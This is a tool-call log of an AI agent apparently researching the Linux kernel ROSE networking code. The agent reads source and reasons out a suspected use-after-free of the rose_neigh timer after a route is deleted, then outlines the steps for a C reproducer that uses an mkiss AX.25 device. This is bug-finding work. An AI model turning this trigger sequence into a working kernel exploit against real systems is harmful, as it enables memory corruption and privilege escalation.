 801:				rose_neigh_put(rose_route->neigh2);
 802:				rose_route->neigh2 = NULL;
 803:				rose_transmit_clear_request(rose_route->neigh1, rose_route->lci1, ROSE_OUT_OF_ORDER, 0);
 804:			}
 805:	
 806:			rose_route = rose_route->next;
 807:		}
 808:		spin_unlock_bh(&rose_route_list_lock);
 809:	}
 SourceFile:net/rose/rose_route.c]

25/2 2026/05/26 11:34 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_remove_route]

Results:
map[SourceCode: 252:	/*
 253:	 * Caller is holding rose_route_list_lock.
 254:	 */
 255:	static void rose_remove_route(struct rose_route *rose_route)
 256:	{
 257:		struct rose_route *s;
 258:	
 259:		if (rose_route->neigh1 != NULL)
 260:			rose_neigh_put(rose_route->neigh1);
 261:	
 262:		if (rose_route->neigh2 != NULL)
 263:			rose_neigh_put(rose_route->neigh2);
 264:	
 265:		if ((s = rose_route_list) == rose_route) {
 266:			rose_route_list = rose_route->next;
 267:			kfree(rose_route);
 268:			return;
 269:		}
 270:	
 271:		while (s != NULL && s->next != NULL) {
 272:			if (s->next == rose_route) {
 273:				s->next = rose_route->next;
 274:				kfree(rose_route);
 275:				return;
 276:			}
 277:	
 278:			s = s->next;
 279:		}
 280:	}
 SourceFile:net/rose/rose_route.c]

26/2 2026/05/26 11:34 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_rt_device_down]

Results:
map[SourceCode: 474:	/*
 475:	 *	A device has been removed. Remove its routes and neighbours.
 476:	 */
 477:	void rose_rt_device_down(struct net_device *dev)
 478:	{
 479:		struct rose_neigh *s, *rose_neigh;
 480:		struct rose_node  *t, *rose_node;
 481:		int i;
 482:	
 483:		spin_lock_bh(&rose_node_list_lock);
 484:		spin_lock_bh(&rose_neigh_list_lock);
 485:		rose_neigh = rose_neigh_list;
 486:		while (rose_neigh != NULL) {
 487:			s          = rose_neigh;
 488:			rose_neigh = rose_neigh->next;
 489:	
 490:			if (s->dev != dev)
 491:				continue;
 492:	
 493:			rose_node = rose_node_list;
 494:	
 495:			while (rose_node != NULL) {
 496:				t         = rose_node;
 497:				rose_node = rose_node->next;
 498:	
 499:				for (i = t->count - 1; i >= 0; i--) {
 500:					if (t->neighbour[i] != s)
 501:						continue;
 502:	
 503:					t->count--;
 504:	
 505:					memmove(&t->neighbour[i], &t->neighbour[i + 1],
 506:						sizeof(t->neighbour[0]) *
 507:							(t->count - i));
 508:					rose_neigh_put(s);
 509:				}
 510:	
 511:				if (t->count <= 0)
 512:					rose_remove_node(t);
 513:			}
 514:	
 515:			rose_remove_neigh(s);
 516:			rose_neigh_put(s);
 517:		}
 518:		spin_unlock_bh(&rose_neigh_list_lock);
 519:		spin_unlock_bh(&rose_node_list_lock);
 520:	}
 SourceFile:net/rose/rose_route.c]

27/2 2026/05/26 11:34 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 22681
							output: 43
							thoughts: 154
						

Thoughts:
**My Concerns Regarding Neighbor Management**

Okay, so I'm digging into this neighbor management code, and a few things are immediately jumping out at me. Firstly, `rose_del_route_by_neigh` handles its cleanup by stopping the `t0timer` and starting `ftimer`. Makes sense, standard timer management. However, `rose_rt_device_down` is behaving differently; it removes the neighbor from the node using `rose_neigh_put`, but I don't see any explicit timer stopping within that function.

Now, hold on. `rose_neigh_put` is just a simple refcount decrement. That means if `rose_rt_device_down` calls `rose_neigh_put`, and this decrement takes the reference count to zero, the neighbor is freed *immediately*. This raises a huge flag! It's conceivable that either the `t0timer` or the `ftimer` could still be running in a completely freed neighbor structure! That's a classic race condition and a potential memory corruption bug just waiting to happen.

Okay, I see that `rose_remove_neigh` is responsible for removing the neighbor from the `rose_neigh_list`. That's where things get interesting, is it stopping the timers though?



28/2 2026/05/26 11:34 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_remove_neigh]

Results:
map[SourceCode: 225:	/*
 226:	 * Caller is holding rose_neigh_list_lock.
 227:	 */
 228:	static void rose_remove_neigh(struct rose_neigh *rose_neigh)
 229:	{
 230:		struct rose_neigh *s;
 231:	
 232:		timer_delete_sync(&rose_neigh->ftimer);
 233:		timer_delete_sync(&rose_neigh->t0timer);
 234:	
 235:		skb_queue_purge(&rose_neigh->queue);
 236:	
 237:		if ((s = rose_neigh_list) == rose_neigh) {
 238:			rose_neigh_list = rose_neigh->next;
 239:			return;
 240:		}
 241:	
 242:		while (s != NULL && s->next != NULL) {
 243:			if (s->next == rose_neigh) {
 244:				s->next = rose_neigh->next;
 245:				return;
 246:			}
 247:	
 248:			s = s->next;
 249:		}
 250:	}
 SourceFile:net/rose/rose_route.c]

29/2 2026/05/26 11:34 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 23515
							output: 43
							thoughts: 495
						

Thoughts:
**Analyzing Neighbor Management and Reference Counting**

Okay, so `rose_remove_neigh` *does* indeed stop the timers, specifically with `timer_delete_sync(&rose_neigh->t0timer);`. That's good. But here's the key question: what happens if a neighbor's refcount drops to zero *without* it being explicitly removed via `rose_remove_neigh`?

Let's think this through. `rose_neigh` is initialized with a refcount of 1. When is it *removed* from `rose_neigh_list`? It seems like `rose_remove_neigh` is the only function responsible for this. And `rose_remove_neigh` is triggered by `rose_rt_device_down` and `rose_clear_routes`. So, does the fact that the neighbor is on the `rose_neigh_list` imply the refcount should account for that?

No, hold on. Looking back at `rose_add_node`:

```c
		if (rose_neigh == NULL) {
			rose_neigh = kmalloc_obj(*rose_neigh, GFP_ATOMIC);
			// ...
			refcount_set(&rose_neigh->use, 1);
			// ...
			rose_neigh->next = rose_neigh_list;
			rose_neigh_list  = rose_neigh;
		}
```

Okay, it's added to `rose_neigh_list` with a refcount of 1. That initial refcount of 1 *is* likely the `rose_neigh_list`'s reference. Then, when a neighbor is added to a node, we have:

```c
		if (rose_node == NULL) {
			// ...
			rose_node->neighbour[0] = rose_neigh;
			rose_neigh->count++;
			rose_neigh_hold(rose_neigh);
			goto out;
		}
		if (rose_node->count < 3) {
			rose_node->neighbour[rose_node->count] = rose_neigh;
			rose_node->count++;
			rose_neigh->count++;
			rose_neigh_hold(rose_neigh);
		}
```

So `rose_neigh_hold` gets called when it's added to a node.  Then the counter is incremented, and we hold the reference. The next question becomes, when is it removed from a node? The inverse, `rose_del_node`, must handle the decrement of the refcount. It seems that the refcount is incremented both by inclusion on the list, and in each of the nodes themselves. I need to make sure this is handled correctly.



30/2 2026/05/26 11:34 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_del_node]

Results:
map[SourceCode: 282:	/*
 283:	 *	"Delete" a node. Strictly speaking remove a route to a node. The node
 284:	 *	is only deleted if no routes are left to it.
 285:	 */
 286:	static int rose_del_node(struct rose_route_struct *rose_route,
 287:		struct net_device *dev)
 288:	{
 289:		struct rose_node  *rose_node;
 290:		struct rose_neigh *rose_neigh;
 291:		int i, err = 0;
 292:	
 293:		spin_lock_bh(&rose_node_list_lock);
 294:		spin_lock_bh(&rose_neigh_list_lock);
 295:	
 296:		rose_node = rose_node_list;
 297:		while (rose_node != NULL) {
 298:			if ((rose_node->mask == rose_route->mask) &&
 299:			    (rosecmpm(&rose_route->address, &rose_node->address,
 300:				      rose_route->mask) == 0))
 301:				break;
 302:			rose_node = rose_node->next;
 303:		}
 304:	
 305:		if (rose_node == NULL || rose_node->loopback) {
 306:			err = -EINVAL;
 307:			goto out;
 308:		}
 309:	
 310:		rose_neigh = rose_neigh_list;
 311:		while (rose_neigh != NULL) {
 312:			if (ax25cmp(&rose_route->neighbour,
 313:				    &rose_neigh->callsign) == 0 &&
 314:			    rose_neigh->dev == dev)
 315:				break;
 316:			rose_neigh = rose_neigh->next;
 317:		}
 318:	
 319:		if (rose_neigh == NULL) {
 320:			err = -EINVAL;
 321:			goto out;
 322:		}
 323:	
 324:		for (i = 0; i < rose_node->count; i++) {
 325:			if (rose_node->neighbour[i] == rose_neigh) {
 326:				rose_neigh->count--;
 327:				rose_neigh_put(rose_neigh);
 328:	
 329:				if (rose_neigh->count == 0) {
 330:					rose_remove_neigh(rose_neigh);
 331:					rose_neigh_put(rose_neigh);
 332:				}
 333:	
 334:				rose_node->count--;
 335:	
 336:				if (rose_node->count == 0) {
 337:					rose_remove_node(rose_node);
 338:				} else {
 339:					switch (i) {
 340:					case 0:
 341:						rose_node->neighbour[0] =
 342:							rose_node->neighbour[1];
 343:						fallthrough;
 344:					case 1:
 345:						rose_node->neighbour[1] =
 346:							rose_node->neighbour[2];
 347:						break;
 348:					case 2:
 349:						break;
 350:					}
 351:				}
 352:				goto out;
 353:			}
 354:		}
 355:		err = -EINVAL;
 356:	
 357:	out:
 358:		spin_unlock_bh(&rose_neigh_list_lock);
 359:		spin_unlock_bh(&rose_node_list_lock);
 360:	
 361:		return err;
 362:	}
 SourceFile:net/rose/rose_route.c]

31/2 2026/05/26 11:34 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 25768
							output: 42
							thoughts: 975
						

Thoughts:
**UAF Vulnerability in ROSE Network Code**

Okay, let me break this down. In the `rose_del_node` function, I see a potential race condition involving the `rose_neigh` structure and its timers. The core of the problem seems to be the interaction between a socket's continued use of a neighbor (`rose_neigh`) after the neighbor has been removed from the main list.

I'm starting to see it: `rose_neigh->count` tracks references. When it hits zero, `rose_remove_neigh` is called, which looks like it *should* stop the timers associated with this neighbor, which is good. Then `rose_neigh_put` is called to drop the initial refcount. So far, so good. If the neighbor is removed, the timers should be stopped!

But wait, sockets get a refcount to a neighbor via `rose_get_neigh`, which increments the refcount. Then, a route is deleted. This calls `rose_del_node`. The neighbor's count drops to zero, triggering `rose_remove_neigh`, stopping the timers, and then `rose_neigh_put` is called, dropping the count to 1 (socket refcount). Okay. Then when the socket timer expires, it calls `rose_neigh_put` again, dropping the refcount to zero, and the neighbor is freed.

The key question is: does `rose_remove_neigh` *really* stop the timers in all cases? Let's check.

Looking at `rose_remove_neigh`, it calls `timer_delete_sync` on both `ftimer` and `t0timer`. That looks like it *should* stop them. But what if a timer is *restarted* after the delete? Specifically, can `t0timer` be restarted? Looking at the code, it looks like `rose_transmit_link` starts `t0timer`. Can `rose_transmit_link` be called after `rose_remove_neigh`?

Yes! If a socket holds a reference to the neighbor, it can still send frames! It calls `rose_send_frame`, which calls `rose_transmit_link`, which restarts `t0timer`. So, a socket could still have a reference and send data even after the route associated with that neighbor is deleted. The route deletion should be removing it from the global neighbor list.

So, if a route is deleted, the neighbor is removed from the global list and its timers are stopped. But the socket *still* has a reference to the neighbor, and can send data. If data is sent, `rose_transmit_link` is called. It restarts `t0timer`! Then, when the socket is closed or times out, `rose_neigh_put` is called. The refcount drops to zero, and the neighbor is freed. But `t0timer` is *still* running, and it's scheduled to expire!

So, `t0timer` expires, and it's accessing a freed `rose_neigh` - a classic use-after-free!

To confirm this, let's step through the sequence:

1.  Create a socket.
2.  Add a route (creating `rose_neigh`).
3.  Connect the socket to the route: `rose->neighbour` is set to `neigh`. Refcount is now 2 (1 list, 1 socket).
4.  Delete the route. `rose_del_node` is called. `neigh->count` becomes 0. `rose_remove_neigh` is called, stopping timers. `rose_neigh_put` is called. Refcount is 1 (for the socket).
5.  Send data on the socket. `rose_transmit_link` is called, restarting `t0timer`.
6.  Close the socket (or it times out). `rose_release` or `rose_timer_expiry` calls `rose_neigh_put`. Refcount drops to 0. `neigh` is freed.
7.  `t0timer` expires. UAF!

I need to confirm if `rose_transmit_link` *can* be called after the route is deleted. Looking at the code, when a socket sends data, it calls `rose_sendmsg`, which eventually leads to `rose_transmit_link`. Bingo! That's the path.

This is a serious problem. It means deleting a route doesn't properly synchronize with ongoing socket operations, leading to a race and a use-after-free vulnerability. Time to report this!



32/2 2026/05/26 11:34 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/af_rose.c IncludeLines:true Name:rose_sendmsg]

Results:
map[SourceCode:1116:	static int rose_sendmsg(struct socket *sock, struct msghdr *msg, size_t len)
1117:	{
1118:		struct sock *sk = sock->sk;
1119:		struct rose_sock *rose = rose_sk(sk);
1120:		DECLARE_SOCKADDR(struct sockaddr_rose *, usrose, msg->msg_name);
1121:		int err;
1122:		struct full_sockaddr_rose srose;
1123:		struct sk_buff *skb;
1124:		unsigned char *asmptr;
1125:		int n, size, qbit = 0;
1126:	
1127:		if (msg->msg_flags & ~(MSG_DONTWAIT|MSG_EOR|MSG_CMSG_COMPAT))
1128:			return -EINVAL;
1129:	
1130:		if (sock_flag(sk, SOCK_ZAPPED))
1131:			return -EADDRNOTAVAIL;
1132:	
1133:		if (sk->sk_shutdown & SEND_SHUTDOWN) {
1134:			send_sig(SIGPIPE, current, 0);
1135:			return -EPIPE;
1136:		}
1137:	
1138:		if (rose->neighbour == NULL || rose->device == NULL)
1139:			return -ENETUNREACH;
1140:	
1141:		if (usrose != NULL) {
1142:			if (msg->msg_namelen != sizeof(struct sockaddr_rose) && msg->msg_namelen != sizeof(struct full_sockaddr_rose))
1143:				return -EINVAL;
1144:			memset(&srose, 0, sizeof(struct full_sockaddr_rose));
1145:			memcpy(&srose, usrose, msg->msg_namelen);
1146:			if (rosecmp(&rose->dest_addr, &srose.srose_addr) != 0 ||
1147:			    ax25cmp(&rose->dest_call, &srose.srose_call) != 0)
1148:				return -EISCONN;
1149:			if (srose.srose_ndigis != rose->dest_ndigis)
1150:				return -EISCONN;
1151:			if (srose.srose_ndigis == rose->dest_ndigis) {
1152:				for (n = 0 ; n < srose.srose_ndigis ; n++)
1153:					if (ax25cmp(&rose->dest_digis[n],
1154:						    &srose.srose_digis[n]))
1155:						return -EISCONN;
1156:			}
1157:			if (srose.srose_family != AF_ROSE)
1158:				return -EINVAL;
1159:		} else {
1160:			if (sk->sk_state != TCP_ESTABLISHED)
1161:				return -ENOTCONN;
1162:	
1163:			srose.srose_family = AF_ROSE;
1164:			srose.srose_addr   = rose->dest_addr;
1165:			srose.srose_call   = rose->dest_call;
1166:			srose.srose_ndigis = rose->dest_ndigis;
1167:			for (n = 0 ; n < rose->dest_ndigis ; n++)
1168:				srose.srose_digis[n] = rose->dest_digis[n];
1169:		}
1170:	
1171:		/* Build a packet */
1172:		/* Sanity check the packet size */
1173:		if (len > 65535)
1174:			return -EMSGSIZE;
1175:	
1176:		size = len + AX25_BPQ_HEADER_LEN + AX25_MAX_HEADER_LEN + ROSE_MIN_LEN;
1177:	
1178:		if ((skb = sock_alloc_send_skb(sk, size, msg->msg_flags & MSG_DONTWAIT, &err)) == NULL)
1179:			return err;
1180:	
1181:		skb_reserve(skb, AX25_BPQ_HEADER_LEN + AX25_MAX_HEADER_LEN + ROSE_MIN_LEN);
1182:	
1183:		/*
1184:		 *	Put the data on the end
1185:		 */
1186:	
1187:		skb_reset_transport_header(skb);
1188:		skb_put(skb, len);
1189:	
1190:		err = memcpy_from_msg(skb_transport_header(skb), msg, len);
1191:		if (err) {
1192:			kfree_skb(skb);
1193:			return err;
1194:		}
1195:	
1196:		/*
1197:		 *	If the Q BIT Include socket option is in force, the first
1198:		 *	byte of the user data is the logical value of the Q Bit.
1199:		 */
1200:		if (rose->qbitincl) {
1201:			qbit = skb->data[0];
1202:			skb_pull(skb, 1);
1203:		}
1204:	
1205:		/*
1206:		 *	Push down the ROSE header
1207:		 */
1208:		asmptr = skb_push(skb, ROSE_MIN_LEN);
1209:	
1210:		/* Build a ROSE Network header */
1211:		asmptr[0] = ((rose->lci >> 8) & 0x0F) | ROSE_GFI;
1212:		asmptr[1] = (rose->lci >> 0) & 0xFF;
1213:		asmptr[2] = ROSE_DATA;
1214:	
1215:		if (qbit)
1216:			asmptr[0] |= ROSE_Q_BIT;
1217:	
1218:		if (sk->sk_state != TCP_ESTABLISHED) {
1219:			kfree_skb(skb);
1220:			return -ENOTCONN;
1221:		}
1222:	
1223:	#ifdef M_BIT
1224:	#define ROSE_PACLEN (256-ROSE_MIN_LEN)
1225:		if (skb->len - ROSE_MIN_LEN > ROSE_PACLEN) {
1226:			unsigned char header[ROSE_MIN_LEN];
1227:			struct sk_buff *skbn;
1228:			int frontlen;
1229:			int lg;
1230:	
1231:			/* Save a copy of the Header */
1232:			skb_copy_from_linear_data(skb, header, ROSE_MIN_LEN);
1233:			skb_pull(skb, ROSE_MIN_LEN);
1234:	
1235:			frontlen = skb_headroom(skb);
1236:	
1237:			while (skb->len > 0) {
1238:				if ((skbn = sock_alloc_send_skb(sk, frontlen + ROSE_PACLEN, 0, &err)) == NULL) {
1239:					kfree_skb(skb);
1240:					return err;
1241:				}
1242:	
1243:				skbn->sk   = sk;
1244:				skbn->free = 1;
1245:				skbn->arp  = 1;
1246:	
1247:				skb_reserve(skbn, frontlen);
1248:	
1249:				lg = (ROSE_PACLEN > skb->len) ? skb->len : ROSE_PACLEN;
1250:	
1251:				/* Copy the user data */
1252:				skb_copy_from_linear_data(skb, skb_put(skbn, lg), lg);
1253:				skb_pull(skb, lg);
1254:	
1255:				/* Duplicate the Header */
1256:				skb_push(skbn, ROSE_MIN_LEN);
1257:				skb_copy_to_linear_data(skbn, header, ROSE_MIN_LEN);
1258:	
1259:				if (skb->len > 0)
1260:					skbn->data[2] |= M_BIT;
1261:	
1262:				skb_queue_tail(&sk->sk_write_queue, skbn); /* Throw it on the queue */
1263:			}
1264:	
1265:			skb->free = 1;
1266:			kfree_skb(skb);
1267:		} else {
1268:			skb_queue_tail(&sk->sk_write_queue, skb);		/* Throw it on the queue */
1269:		}
1270:	#else
1271:		skb_queue_tail(&sk->sk_write_queue, skb);	/* Shove it onto the queue */
1272:	#endif
1273:	
1274:		rose_kick(sk);
1275:	
1276:		return len;
1277:	}
 SourceFile:net/rose/af_rose.c]

33/2 2026/05/26 11:34 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 30382
							output: 41
							thoughts: 47
						

Thoughts:
Okay, let's break this down.

**Analyzing the `rose_sendmsg` Function**

Right, so I'm looking at the `rose_sendmsg` function now. My first thought is, "What's the immediate check here?" Ah, yes, it checks `rose->neighbour == NULL`. Now, that's crucial; this determines whether we even *need* to bother sending this packet over the network. It's a fundamental conditional.

If `rose->neighbour` *isn't* NULL, meaning we've got a known neighbour to send this data to, the function queues the socket buffer (`skb`). Then, and this is the important part, it calls `rose_kick(sk)`. That's where the actual transmission process is initiated. Now, I need to delve into that `rose_kick` function, to see *exactly* how the packet gets handled at that stage. What's it doing with that queued `skb`? What resources is it using? Let's go investigate `rose_kick`.



34/2 2026/05/26 11:35 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_out.c IncludeLines:true Name:rose_kick]

Results:
map[SourceCode:  45:	void rose_kick(struct sock *sk)
  46:	{
  47:		struct rose_sock *rose = rose_sk(sk);
  48:		struct sk_buff *skb, *skbn;
  49:		unsigned short start, end;
  50:	
  51:		if (rose->state != ROSE_STATE_3)
  52:			return;
  53:	
  54:		if (rose->condition & ROSE_COND_PEER_RX_BUSY)
  55:			return;
  56:	
  57:		if (!skb_peek(&sk->sk_write_queue))
  58:			return;
  59:	
  60:		start = (skb_peek(&rose->ack_queue) == NULL) ? rose->va : rose->vs;
  61:		end   = (rose->va + sysctl_rose_window_size) % ROSE_MODULUS;
  62:	
  63:		if (start == end)
  64:			return;
  65:	
  66:		rose->vs = start;
  67:	
  68:		/*
  69:		 * Transmit data until either we're out of data to send or
  70:		 * the window is full.
  71:		 */
  72:	
  73:		skb  = skb_dequeue(&sk->sk_write_queue);
  74:	
  75:		do {
  76:			if ((skbn = skb_clone(skb, GFP_ATOMIC)) == NULL) {
  77:				skb_queue_head(&sk->sk_write_queue, skb);
  78:				break;
  79:			}
  80:	
  81:			skb_set_owner_w(skbn, sk);
  82:	
  83:			/*
  84:			 * Transmit the frame copy.
  85:			 */
  86:			rose_send_iframe(sk, skbn);
  87:	
  88:			rose->vs = (rose->vs + 1) % ROSE_MODULUS;
  89:	
  90:			/*
  91:			 * Requeue the original data frame.
  92:			 */
  93:			skb_queue_tail(&rose->ack_queue, skb);
  94:	
  95:		} while (rose->vs != end &&
  96:			 (skb = skb_dequeue(&sk->sk_write_queue)) != NULL);
  97:	
  98:		rose->vl         = rose->vr;
  99:		rose->condition &= ~ROSE_COND_ACK_PENDING;
 100:	
 101:		rose_stop_timer(sk);
 102:	}
 SourceFile:net/rose/rose_out.c]

35/2 2026/05/26 11:35 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 31461
							output: 43
							thoughts: 21
						

Thoughts:
Here's my take on those thoughts, tailored for an expert audience:

**Investigating the `rose_send_iframe` Call**

Okay, so `rose_send_iframe` is making a call to `rose_transmit_link`. My initial thought is to confirm that. It's standard practice, but I need to quickly verify the function's internal flow to be sure. My expertise in this particular module tells me this pattern is likely to be true based on the naming convention, but I always prefer to be 100% sure before proceeding.



36/2 2026/05/26 11:35 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_out.c IncludeLines:true Name:rose_send_iframe]

Results:
map[SourceCode:  26:	/*
  27:	 *	This procedure is passed a buffer descriptor for an iframe. It builds
  28:	 *	the rest of the control part of the frame and then writes it out.
  29:	 */
  30:	static void rose_send_iframe(struct sock *sk, struct sk_buff *skb)
  31:	{
  32:		struct rose_sock *rose = rose_sk(sk);
  33:	
  34:		if (skb == NULL)
  35:			return;
  36:	
  37:		skb->data[2] |= (rose->vr << 5) & 0xE0;
  38:		skb->data[2] |= (rose->vs << 1) & 0x0E;
  39:	
  40:		rose_start_idletimer(sk);
  41:	
  42:		rose_transmit_link(skb, rose->neighbour);
  43:	}
 SourceFile:net/rose/rose_out.c]

37/2 2026/05/26 11:35 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 31931
							output: 43
							thoughts: 596
						

Thoughts:
**The Aha! Moment (and the Bug)**

Okay, I've got it. The `rose_send_iframe` function ultimately calls `rose_transmit_link`, which then kicks off `t0timer` on the `rose->neighbour` structure. That's the key.

So, the crux of the problem boils down to this sequence:

1.  A socket connects to a route, getting a reference to `rose_neigh`.
2.  The route gets deleted. When that happens, `rose_del_node` removes the `rose_neigh` entry from `rose_neigh_list` and, importantly, stops any running timers. The reference count on the `rose_neigh` structure is 1 at this point.
3.  The socket then sends data. This triggers a chain: `rose_sendmsg` -> `rose_kick` -> `rose_send_iframe` -> `rose_transmit_link`.
4.  `rose_transmit_link` *restarts* `t0timer` on the now-dangling `rose_neigh`.
5.  Later, the socket is either closed or times out, resulting in a call to `rose_neigh_put`. The reference count drops to zero, and the `rose_neigh` structure is freed.
6.  The killer: `t0timer` *expires*, now attempting to access the already freed `rose_neigh`! Boom, that's our use-after-free.

I've got to double-check `rose_del_node` and `rose_remove_neigh` quickly...
Okay, when `rose_del_node` is called, it calls `rose_remove_neigh` if the reference count is 0. But, `rose_remove_neigh` is only called if `rose_neigh` is in `rose_neigh_list`. Wait a second! If `rose_neigh` is removed from `rose_neigh_list`, `rose_remove_neigh` won't find it. But `rose_transmit_link` doesn't care if it's in that list; it just uses `rose->neighbour`. And `rose->neighbour` is still pointing to the now-freed `rose_neigh`. Got it!

Time to prove it. I'll write a C program to reliably reproduce this. The steps are pretty straightforward:

1.  Create a ROSE socket.
2.  Add a ROSE route.
3.  Connect the ROSE socket to that route.
4.  Delete the ROSE route.
5.  Send some data on the socket.
6.  Close the socket.
7.  Now, we wait for `t0timer` to tick over and trigger the crash.

I'll need to use `SIOCADDRT` and `SIOCDELRT` ioctls on the socket for route management. Let's see...

I know that to add a route, I need the `rose_route_struct` structure:

```c
struct rose_route_struct {
	rose_address address;
	unsigned short mask;
	ax25_address neighbour;
	char device[16];
	unsigned char ndigis;
	ax25_address digipeaters[AX25_MAX_DIGIS];
};
```

And to delete a route, I'll use `SIOCDELRT`... Now I have to go check `rose_rt_ioctl` for all the details regarding `SIOCADDRT` and `SIOCDELRT`.



38/2 2026/05/26 11:35 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_rt_ioctl]

Results:
map[SourceCode: 727:	/*
 728:	 *	Handle the ioctls that control the routing functions.
 729:	 */
 730:	int rose_rt_ioctl(unsigned int cmd, void __user *arg)
 731:	{
 732:		struct rose_route_struct rose_route;
 733:		struct net_device *dev;
 734:		int err;
 735:	
 736:		switch (cmd) {
 737:		case SIOCADDRT:
 738:			if (copy_from_user(&rose_route, arg, sizeof(struct rose_route_struct)))
 739:				return -EFAULT;
 740:			if ((dev = rose_ax25_dev_find(rose_route.device)) == NULL)
 741:				return -EINVAL;
 742:			if (rose_dev_exists(&rose_route.address)) /* Can't add routes to ourself */
 743:				return -EINVAL;
 744:			if (rose_route.mask > 10) /* Mask can't be more than 10 digits */
 745:				return -EINVAL;
 746:			if (rose_route.ndigis > AX25_MAX_DIGIS)
 747:				return -EINVAL;
 748:			err = rose_add_node(&rose_route, dev);
 749:			return err;
 750:	
 751:		case SIOCDELRT:
 752:			if (copy_from_user(&rose_route, arg, sizeof(struct rose_route_struct)))
 753:				return -EFAULT;
 754:			if ((dev = rose_ax25_dev_find(rose_route.device)) == NULL)
 755:				return -EINVAL;
 756:			err = rose_del_node(&rose_route, dev);
 757:			return err;
 758:	
 759:		case SIOCRSCLRRT:
 760:			return rose_clear_routes();
 761:	
 762:		default:
 763:			return -EINVAL;
 764:		}
 765:	
 766:		return 0;
 767:	}
 SourceFile:net/rose/rose_route.c]

39/2 2026/05/26 11:35 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 33981
							output: 47
							thoughts: 233
						

Thoughts:
**My Line of Reasoning for Adding an AX.25 Route**

Okay, so I need to add an AX.25 route. The obvious first thought is: I need an AX.25 device, right? But how do I get one? I could create a `netdevsim` device, or maybe a `dummy` device, but does it *have* to be an AX.25 device? 

Hang on... I need to double-check the code. Let me see... yes, `rose_ax25_dev_find` looks for a device specifically with `dev->type == ARPHRD_AX25`. That answers that question. So, creating a `veth` pair and then *trying* to change its type won't work. The same goes for a `dummy` device.

Alright, the options are pretty clear. I can use the `mkiss`, `bpqether`, or plain old `ax25` module to *create* the AX.25 device I need. That seems like the right approach.

Wait... I just read about a syzbot report related to this issue. It uses `netdevsim` or `tun` devices. Let's see... the bug report mentions a trace through `nsim_dev_trap_report_work` -> `consume_skb` -> `kfree_skbmem` -> `kmem_cache_free`. Okay, that's just a standard `skb` deallocation path. This bug is probably related to the device being a `tun` or `netdevsim` device. This confirms what I was thinking.

Back to the primary goal: I want to add an AX.25 route. Let's make sure I didn't lose track of the goal. The core point is that I need a device with `ARPHRD_AX25` type.



40/2 2026/05/26 11:35 tool codesearch-definition-source
0m Args:
map[ContextFile:net/rose/rose_route.c IncludeLines:true Name:rose_ax25_dev_find]

Results:
map[SourceCode: 587:	/*
 588:	 *	Check that the device given is a valid AX.25 interface that is "up".
 589:	 * 	called with RTNL
 590:	 */
 591:	static struct net_device *rose_ax25_dev_find(char *devname)
 592:	{
 593:		struct net_device *dev;
 594:	
 595:		if ((dev = __dev_get_by_name(&init_net, devname)) == NULL)
 596:			return NULL;
 597:	
 598:		if ((dev->flags & IFF_UP) && dev->type == ARPHRD_AX25)
 599:			return dev;
 600:	
 601:		return NULL;
 602:	}
 SourceFile:net/rose/rose_route.c]

41/2 2026/05/26 11:35 llm initial-researcher
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 34924
							output: 44
							thoughts: 172
						

Thoughts:
**Creating an AX.25 Device: A Quick Thought Process**

Alright, let's see, I need to conjure up an `ARPHRD_AX25` device. Hmm, the initial instinct is always to reach for `ip link add type dummy` and then try `ifconfig dummy0 hw ax25 11:22:33:44:55:66`. But hold on, the `dummy` interface... it's not designed to handle hardware type changes like that, is it? It's too simplistic.

Wait a minute... wasn't there something about `mkiss` creating AX.25 devices from pseudo-terminals? That rings a bell. Ah, yes, the classic approach:

```c
int ptmx = open("/dev/ptmx", O_RDWR);
ioctl(ptmx, TIOCSETD, N_AX25);
```

That should do the trick! Using the `N_AX25` line discipline with `ptmx` should give me an `ax0` device in no time. Yes, that is the ticket. I should have remembered that earlier. Good. Time to check the source, just to make sure I'm not missing anything. Let's delve into `drivers/net/hamradio/mkiss.c` and refresh my memory, to solidify this in my mind.



42/2 2026/05/26 11:35 tool codesearch-definition-source
0m Args:
map[ContextFile:drivers/net/hamradio/mkiss.c IncludeLines:true Name:mkiss_open]

Results:
map[SourceCode: 688:	static int mkiss_open(struct tty_struct *tty)
 689:	{
 690:		struct net_device *dev;
 691:		struct mkiss *ax;
 692:		int err;
 693:	
 694:		if (!capable(CAP_NET_ADMIN))
 695:			return -EPERM;
 696:		if (tty->ops->write == NULL)
 697:			return -EOPNOTSUPP;
 698:	
 699:		dev = alloc_netdev(sizeof(struct mkiss), "ax%d", NET_NAME_UNKNOWN,
 700:				   ax_setup);
 701:		if (!dev) {
 702:			err = -ENOMEM;
 703:			goto out;
 704:		}
 705:	
 706:		ax = netdev_priv(dev);
 707:		ax->dev = dev;
 708:	
 709:		spin_lock_init(&ax->buflock);
 710:		refcount_set(&ax->refcnt, 1);
 711:		init_completion(&ax->dead);
 712:	
 713:		ax->tty = tty;
 714:		tty->disc_data = ax;
 715:		tty->receive_room = 65535;
 716:	
 717:		tty_driver_flush_buffer(tty);
 718:	
 719:		/* Restore default settings */
 720:		dev->type = ARPHRD_AX25;
 721:	
 722:		/* Perform the low-level AX25 initialization. */
 723:		err = ax_open(ax->dev);
 724:		if (err)
 725:			goto out_free_netdev;
 726:	
 727:		err = register_netdev(dev);
 728:		if (err)
 729:			goto out_free_buffers;
 730:	
 731:		/* after register_netdev() - because else printk smashes the kernel */
 732:		switch (crc_force) {
 733:		case 3:
 734:			ax->crcmode  = CRC_MODE_SMACK;
